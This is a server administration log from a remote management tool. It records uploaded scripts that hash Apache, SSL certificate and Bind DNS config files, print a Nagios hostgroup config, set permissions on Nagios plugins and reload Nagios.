MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 9c66a589c53c8a80e70c2326b3348a42
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 767dae78c2df4f568c9c6ace16907b6b
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf
STDERR:
/tmp/pkp328759:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-29 14:09:00: Establishing a connection
2025-12-29 14:09:00:
PUT: /tmp/pkp641644
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-29 14:09:02:
runuser -l bind -s /bin/bash -c '/tmp/pkp641644; rm /tmp/pkp641644'
2025-12-29 14:09:02:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-29 21:34:09: Establishing a connection
2025-12-29 21:34:09: Establishing a connection
2025-12-29 21:34:10:
PUT: /tmp/pkp747357
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:34:10:
chmod 755 /tmp/pkp747357; /tmp/pkp747357; rm /tmp/pkp747357
2025-12-29 21:34:10:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-12-29 21:34:10:
systemctl reload nagios
2025-12-29 21:34:10:
2025-12-29 21:34:10:
PUT: /tmp/pkp742297
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp742297; /tmp/pkp742297; rm /tmp/pkp742297
2025-12-29 21:34:10:
ok
2025-12-29 21:34:10:
PUT: /tmp/pkp719895
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp719895; /tmp/pkp719895; rm /tmp/pkp719895
2025-12-29 21:34:10:
ok
2025-12-29 21:34:10:
PUT: /tmp/pkp521356
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp521356; /tmp/pkp521356; rm /tmp/pkp521356
2025-12-29 21:34:10:
ok
2025-12-29 21:34:10:
PUT: /tmp/pkp121877
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp121877; /tmp/pkp121877; rm /tmp/pkp121877
2025-12-29 21:34:10:
ok
2025-12-29 21:34:10:
PUT: /tmp/pkp510951
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp510951; /tmp/pkp510951; rm /tmp/pkp510951
2025-12-29 21:34:10:
ok
2025-12-29 21:34:10:
PUT: /tmp/pkp421349
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp421349; /tmp/pkp421349; rm /tmp/pkp421349
2025-12-29 21:34:10:
ok
2025-12-29 21:34:10:
PUT: /tmp/pkp119662
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-12-29 21:34:10:
chmod 755 /tmp/pkp119662; /tmp/pkp119662; rm /tmp/pkp119662
2025-12-29 21:34:10:
ok
2025-12-29 21:41:26: Establishing a connection
2025-12-29 21:41:26: Establishing a connection
2025-12-29 21:41:27:
PUT: /tmp/pkp871924
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:41:27:
chmod 755 /tmp/pkp871924; /tmp/pkp871924; rm /tmp/pkp871924
2025-12-29 21:41:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-12-29 21:41:27:
systemctl reload nagios
2025-12-29 21:41:27:
2025-12-29 21:41:27:
PUT: /tmp/pkp190260
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp190260; /tmp/pkp190260; rm /tmp/pkp190260
2025-12-29 21:41:27:
ok
2025-12-29 21:41:27:
PUT: /tmp/pkp418044
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp418044; /tmp/pkp418044; rm /tmp/pkp418044
2025-12-29 21:41:27:
ok
2025-12-29 21:41:27:
